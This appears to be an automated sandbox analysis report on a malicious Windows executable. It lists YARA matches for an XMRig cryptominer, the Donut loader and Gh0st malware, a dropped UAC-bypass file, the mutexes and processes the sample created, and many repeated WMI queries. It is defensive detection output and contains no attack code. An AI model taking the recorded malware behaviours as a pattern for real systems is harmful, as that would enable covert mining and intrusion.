              Source: 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000004.00000002.2151276225.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
              Source: 00000004.00000002.2151276225.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
              Source: 00000010.00000003.2263942655.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2260012653.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2244730823.000002476943C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2230448544.0000024769438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2243392476.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2241271993.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2256496200.0000024769432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: 00000010.00000003.2220629227.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: Process Memory Space: conhost.exe PID: 2848, type: MEMORYSTRMatched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, type: DROPPEDMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
              Source: classification engineClassification label: mal100.expl.evad.mine.winEXE@52/21@1/1
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\GcqJPBLD2Q.exe.logJump to behavior
              Source: C:\Windows\System32\conhost.exeMutant created: NULL
              Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6012
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3040:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5156:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6120:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3468:120:WilError_03
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeFile created: C:\Users\user\AppData\Local\Temp\Cool.exeJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exe
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exeJump to behavior
              Source: GcqJPBLD2Q.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: GcqJPBLD2Q.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine, ProcessID from Win32_Process
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
